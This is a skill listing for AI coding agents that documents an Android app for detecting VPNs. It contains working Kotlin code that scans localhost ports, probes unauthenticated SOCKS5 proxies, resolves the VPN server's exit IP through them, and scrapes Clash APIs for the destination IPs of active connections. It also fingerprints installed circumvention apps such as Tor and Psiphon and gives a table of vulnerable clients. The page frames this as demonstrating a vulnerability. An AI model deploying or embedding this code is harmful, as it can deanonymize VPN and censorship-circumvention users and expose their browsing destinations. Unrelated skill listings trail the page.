skills/yourvpndead-vpn-detection/SKILL.md
Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root
npx skillsauth add aradotso/trending-skills yourvpndead-vpn-detectionInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Skill by ara.so — Daily 2026 Skills collection.
Android app (Kotlin + Jetpack Compose) demonstrating that any app — without root or special permissions — can detect VPN usage, identify the VPN client, and retrieve the VPN server's exit IP through unauthenticated SOCKS5 proxies exposed on localhost by popular VPN clients (v2rayNG, NekoBox, Hiddify, etc.).
git clone https://github.com/loop-uh/yourvpndead.git
cd yourvpndead
./gradlew assembleDebug
# Output: app/build/outputs/apk/debug/app-debug.apk
adb install app/build/outputs/apk/debug/app-debug.apk
Or download the pre-built APK from Releases.
Required permissions (AndroidManifest.xml):
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
ScanOrchestrator (14 phases)
├── ProfileDetector — work profile, isolation, VPN status
├── ProcNetScanner — /proc/net/tcp fingerprinting
├── DirectSignsChecker — 6 direct VPN checks
├── IndirectSignsChecker — 5 indirect checks (MTU, DNS, dumpsys)
├── DeviceInfoCollector — device fingerprint
├── PortScanner — TCP scan IPv4 + IPv6 localhost
├── Socks5Probe — proxy type identification
├── XrayAPIDetector — xray gRPC API detection
├── ClashAPIProbe — Clash REST API probe
├── AuthProbe — auth analysis + brute-force demo
├── ExitIPResolver — exit IP via SOCKS5
└── GeoLocator — IP geolocation
Stack: Kotlin, Jetpack Compose, Material 3, Coroutines, MVVM (ViewModel + StateFlow)
DirectSignsChecker.ktDetects VPN via standard (and hidden) Android APIs:
// Check TRANSPORT_VPN capability
val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
val network = connectivityManager.activeNetwork
val caps = connectivityManager.getNetworkCapabilities(network)
val hasVpnTransport = caps?.hasTransport(NetworkCapabilities.TRANSPORT_VPN) == true
// Check hidden IS_VPN flag (not in public API)
val capsString = caps?.toString() ?: ""
val hasIsVpn = capsString.contains("IS_VPN")
val hasVpnTransportInfo = capsString.contains("VpnTransportInfo")
// Check system proxy properties
val httpProxyHost = System.getProperty("http.proxyHost")
val socksProxyHost = System.getProperty("socksProxyHost")
// Check NOT_VPN capability absence (inverse detection)
val notVpnCapability = caps?.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN) == true
// If false → network IS a VPN
import java.net.NetworkInterface
fun detectVpnInterfaces(): List<String> {
val vpnPatterns = listOf(
Regex("^tun\\d+$"),
Regex("^tap\\d+$"),
Regex("^wg\\d+$"),
Regex("^ppp\\d+$"),
Regex("^ipsec.*$")
)
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { iface -> vpnPatterns.any { it.matches(iface.name) } }
.map { it.name }
}
// Check MTU anomaly (VPN lowers MTU due to encapsulation overhead)
fun checkMtuAnomaly(): Boolean {
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { it.isUp && !it.isLoopback }
.any { it.mtu in 1..1499 } // Standard Ethernet = 1500
}
// WireGuard: ~1420, OpenVPN: ~1400, VLESS/xray: ~1380-1400
ProcNetScanner.ktReads listening ports without root:
fun scanProcNetTcp(): List<Int> {
val openPorts = mutableListOf<Int>()
listOf("/proc/net/tcp", "/proc/net/tcp6").forEach { path ->
try {
File(path).forEachLine { line ->
val parts = line.trim().split("\\s+".toRegex())
if (parts.size >= 4) {
val state = parts[3]
if (state == "0A") { // 0A = LISTEN
val localAddress = parts[1]
val portHex = localAddress.split(":").lastOrNull()
portHex?.toIntOrNull(16)?.let { openPorts.add(it) }
}
}
}
} catch (e: Exception) { /* May be restricted on newer Android */ }
}
return openPorts
}
// Fingerprint VPN client by port pattern
fun fingerprintClient(ports: List<Int>): String {
return when {
10808 in ports && 10809 in ports && 19085 in ports -> "v2rayNG / xray"
2080 in ports -> "NekoBox / sing-box"
7890 in ports && 7891 in ports && 9090 in ports -> "Clash / mihomo"
3066 in ports && 3067 in ports -> "Karing"
19090 in ports -> "sing-box (Clash API — IP leak via /connections!)"
else -> "Unknown"
}
}
PortScanner.ktTCP connect scan on 127.0.0.1 and ::1:
import kotlinx.coroutines.*
import java.net.InetSocketAddress
import java.net.Socket
suspend fun scanKnownPorts(
timeout: Int = 300,
parallelism: Int = 32
): List<Int> = coroutineScope {
val knownVpnPorts = listOf(
// xray / v2rayNG
10808, 10809, 10810, 10085, 19085,
// sing-box / NekoBox
2080, 2081, 3066, 3067,
// Clash / mihomo
7890, 7891, 7892, 7893, 9090, 19090,
// Common proxy
1080, 8080, 8118, 9050, 3128,
// Yandex.Metrica tracking
29009, 29010, 30102, 30103,
// Meta Pixel
12387, 12388, 12389
)
val semaphore = kotlinx.coroutines.sync.Semaphore(parallelism)
knownVpnPorts.map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port // Return port if connected
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}
// Full scan 1-65535
suspend fun fullPortScan(timeout: Int = 200): List<Int> = coroutineScope {
val semaphore = kotlinx.coroutines.sync.Semaphore(32)
(1..65535).map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeout)
port
}
} catch (e: Exception) { null }
}
}
}.awaitAll().filterNotNull()
}
Socks5Probe.ktIdentify proxy type and check for authentication:
import java.io.InputStream
import java.io.OutputStream
import java.net.Socket
enum class ProxyType { SOCKS5_NO_AUTH, SOCKS5_AUTH_REQUIRED, HTTP_CONNECT, GRPC, UNKNOWN }
fun probePort(port: Int, timeoutMs: Int = 2000): ProxyType {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeoutMs)
socket.soTimeout = timeoutMs
val out: OutputStream = socket.getOutputStream()
val inp: InputStream = socket.getInputStream()
// SOCKS5 handshake: VER=5, NMETHODS=1, METHOD=NO_AUTH(0x00)
out.write(byteArrayOf(0x05, 0x01, 0x00))
out.flush()
val response = ByteArray(2)
inp.read(response)
when {
response[0] == 0x05.toByte() && response[1] == 0x00.toByte() ->
ProxyType.SOCKS5_NO_AUTH // Vulnerable!
response[0] == 0x05.toByte() && response[1] == 0x02.toByte() ->
ProxyType.SOCKS5_AUTH_REQUIRED // Protected
else -> ProxyType.UNKNOWN
}
}
} catch (e: Exception) { ProxyType.UNKNOWN }
}
// HTTP CONNECT probe
fun probeHttpConnect(port: Int): Boolean {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), 2000)
val out = socket.getOutputStream()
out.write("CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n".toByteArray())
out.flush()
val response = socket.getInputStream().bufferedReader().readLine() ?: ""
response.contains("200") || response.contains("407") || response.startsWith("HTTP")
}
} catch (e: Exception) { false }
}
ExitIPResolver.ktGet VPN server's real IP through unauthenticated SOCKS5:
import java.net.InetAddress
import java.net.Socket
fun resolveExitIpViaSocks5(
socksPort: Int,
targetHost: String = "api.ipify.org",
targetPort: Int = 80
): String? {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", socksPort), 3000)
socket.soTimeout = 5000
val out = socket.getOutputStream()
val inp = socket.getInputStream()
// SOCKS5 handshake
out.write(byteArrayOf(0x05, 0x01, 0x00)); out.flush()
val auth = ByteArray(2); inp.read(auth)
if (auth[1] != 0x00.toByte()) return null // Auth required
// CONNECT request (ATYP=0x03 domain name)
val hostBytes = targetHost.toByteArray()
val request = byteArrayOf(
0x05, // VER
0x01, // CMD = CONNECT
0x00, // RSV
0x03, // ATYP = domain
hostBytes.size.toByte() // domain length
) + hostBytes + byteArrayOf(
(targetPort shr 8).toByte(),
(targetPort and 0xFF).toByte()
)
out.write(request); out.flush()
// Read response (10 bytes for IPv4)
val resp = ByteArray(10); inp.read(resp)
if (resp[1] != 0x00.toByte()) return null // Connection failed
// HTTP GET to ipify
out.write("GET / HTTP/1.1\r\nHost: $targetHost\r\nConnection: close\r\n\r\n".toByteArray())
out.flush()
val response = inp.bufferedReader().readText()
// Response body is the exit IP
response.lines().last { it.matches(Regex("\\d+\\.\\d+\\.\\d+\\.\\d+")) }
}
} catch (e: Exception) { null }
}
ClashAPIProbe.ktsing-box/mihomo expose Clash API on localhost without auth by default:
import java.net.HttpURLConnection
import java.net.URL
import org.json.JSONObject
data class ClashApiResult(
val isOpen: Boolean,
val connections: List<String> = emptyList(), // Contains destination IPs!
val proxies: List<String> = emptyList(),
val externalController: String? = null
)
fun probeClashApi(port: Int = 9090, timeoutMs: Int = 3000): ClashApiResult {
val baseUrl = "http://127.0.0.1:$port"
return try {
// Check /configs for external-controller info
val configUrl = URL("$baseUrl/configs")
val configConn = configUrl.openConnection() as HttpURLConnection
configConn.connectTimeout = timeoutMs
configConn.readTimeout = timeoutMs
if (configConn.responseCode != 200) return ClashApiResult(false)
val config = JSONObject(configConn.inputStream.bufferedReader().readText())
// GET /connections — reveals ALL active connection destination IPs
val connUrl = URL("$baseUrl/connections")
val connConn = connUrl.openConnection() as HttpURLConnection
connConn.connectTimeout = timeoutMs
val connData = JSONObject(connConn.inputStream.bufferedReader().readText())
val destinationIps = mutableListOf<String>()
val connections = connData.optJSONArray("connections")
if (connections != null) {
for (i in 0 until connections.length()) {
val conn = connections.getJSONObject(i)
conn.optJSONObject("metadata")?.optString("destinationIP")
?.takeIf { it.isNotEmpty() }
?.let { destinationIps.add(it) }
}
}
ClashApiResult(
isOpen = true,
connections = destinationIps,
externalController = config.optString("external-controller")
)
} catch (e: Exception) { ClashApiResult(false) }
}
// Ports to check for Clash API
val clashApiPorts = listOf(9090, 19090, 8080, 9091, 8090)
DirectSignsChecker.ktEnumerate installed VPN apps (requires QUERY_ALL_PACKAGES on Android 11+):
val vpnPackages = mapOf(
"com.v2ray.ang" to "v2rayNG",
"io.nekohasekai.sfa" to "sing-box (SFA)",
"app.hiddify.com" to "Hiddify",
"com.github.shadowsocks" to "Shadowsocks",
"com.matsuridayo.matsuri" to "NekoBox",
"io.nekohasekai.sagernet" to "NekoBox/SagerNet",
"com.clashforwindows.clash" to "ClashMeta",
"com.byedpi" to "ByeDPI",
"org.outline.android.client" to "Outline",
"com.psiphon3" to "Psiphon",
"us.lantern.lantern" to "Lantern",
"com.wireguard.android" to "WireGuard",
"org.torproject.torbrowser" to "Tor Browser",
"org.torproject.android" to "Orbot",
"com.karing.app" to "Karing",
"com.throne.android" to "Throne",
"com.happ.free.vpn.proxy" to "HAPP"
)
fun detectInstalledVpnApps(context: Context): List<String> {
val pm = context.packageManager
return vpnPackages.entries.mapNotNull { (pkg, name) ->
try {
pm.getPackageInfo(pkg, 0)
name // App is installed
} catch (e: PackageManager.NameNotFoundException) { null }
}
}
fun checkDefaultRoute(): String? {
return try {
File("/proc/net/route").readLines()
.drop(1) // Skip header
.firstOrNull { line ->
val parts = line.split("\t")
parts.size >= 2 && parts[1] == "00000000" // Default route (0.0.0.0)
}
?.split("\t")
?.firstOrNull() // Interface name (e.g., "tun0" = VPN)
} catch (e: Exception) { null }
}
// ScanViewModel.kt
class ScanViewModel(application: Application) : AndroidViewModel(application) {
private val _scanState = MutableStateFlow<ScanState>(ScanState.Idle)
val scanState: StateFlow<ScanState> = _scanState.asStateFlow()
fun startScan(fullScan: Boolean = false) {
viewModelScope.launch {
_scanState.value = ScanState.Running(phase = "Initializing...")
val orchestrator = ScanOrchestrator(getApplication())
orchestrator.run(
fullPortScan = fullScan,
onPhaseUpdate = { phase -> _scanState.value = ScanState.Running(phase) }
).collect { result ->
_scanState.value = ScanState.Complete(result)
}
}
}
}
// ScanState.kt
sealed class ScanState {
object Idle : ScanState()
data class Running(val phase: String) : ScanState()
data class Complete(val result: ScanResult) : ScanState()
}
@Composable
fun ScanScreen(viewModel: ScanViewModel = viewModel()) {
val state by viewModel.scanState.collectAsState()
Column(modifier = Modifier.fillMaxSize().padding(16.dp)) {
when (val s = state) {
is ScanState.Idle -> Button(onClick = { viewModel.startScan() }) {
Text("Start VPN Scan")
}
is ScanState.Running -> {
CircularProgressIndicator()
Text("Phase: ${s.phase}")
}
is ScanState.Complete -> ScanResultView(result = s.result)
}
}
}
| Client | Core | Default SOCKS Port | Auth | Status | |--------|------|--------------------|------|--------| | v2rayNG | xray | 10808 | None | Vulnerable | | NekoBox | sing-box | 2080 | None | Vulnerable | | Hiddify | sing-box/xray | varies | None | Vulnerable | | Happ | xray | varies | None + open gRPC API | Critical | | Karing | sing-box | 3067 | None | Vulnerable | | Husi | sing-box | — | Yes | Protected |
object VpnPorts {
// xray / v2rayNG
val XRAY_SOCKS = 10808
val XRAY_HTTP = 10809
val XRAY_STATS = 19085
val XRAY_GRPC_API = listOf(10085, 19085, 23456, 8001, 62789)
// sing-box / NekoBox
val SINGBOX_MIXED = 2080
val SINGBOX_HTTP = 2081
val KARING_SOCKS = 3067
val KARING_HTTP = 3066
// Clash / mihomo
val CLASH_HTTP = 7890
val CLASH_SOCKS = 7891
val CLASH_REDIR = 7892
val CLASH_API = 9090
val SINGBOX_CLASH_API = 19090 // Leaks connection IPs via /connections
// Common
val TOR_SOCKS = 9050
val PRIVOXY = 8118
}
/proc/net/tcp returns empty or permission denied
PortScanner insteadPort scan misses ports
timeout from 300ms to 500ms for slower devicesparallelism to 16 if getting connection reset errorsQUERY_ALL_PACKAGES denied
Intent resolutionSOCKS5 probe connects but returns unexpected bytes
Exit IP resolution returns null despite open SOCKS5
api.ipify.org may be blocked by the VPN itselfifconfig.me, checkip.amazonaws.comClash API returns 401
secret in config — not the default behavior but possibledevelopment
```markdown --- name: compose-performance-skills description: Install and use the skydoves/compose-performance-skills agent skill library to diagnose and fix Jetpack Compose performance issues including stability, recomposition, lazy layouts, modifiers, side effects, and build configuration. triggers: - "my composable recomposes too often" - "LazyColumn drops frames during scroll" - "diagnose Compose stability issues" - "fix unnecessary recomposition in Jetpack Compose" - "optimize Com
development
Headless iOS Simulator manager with host-side HID input injection, 60fps streaming, and device farm web UI for iOS 26
development
```markdown --- name: claude-code-game-studios description: Turn Claude Code into a full 49-agent game dev studio with 72 workflow skills, automated hooks, and a real studio hierarchy for Godot, Unity, and Unreal projects. triggers: - "set up claude code game studios" - "use ai agents for game development" - "set up game dev studio with claude" - "add game studio agents to my project" - "how do I use claude code for game dev" - "set up godot unity unreal ai workflow" - "49 agents g
development
```markdown --- name: xq-py-quantum-vm description: Python implementation of the Quip Network's quantum virtual machine (xqvm) triggers: - quantum virtual machine python - xqvm quip network - quantum circuit simulation python - xq-py quantum vm - quip network quantum python - simulate quantum gates python - quantum vm xqvm - xqvm-py quantum circuit --- # xq-py Quantum Virtual Machine > Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection. `xqvm-py` is a Python impl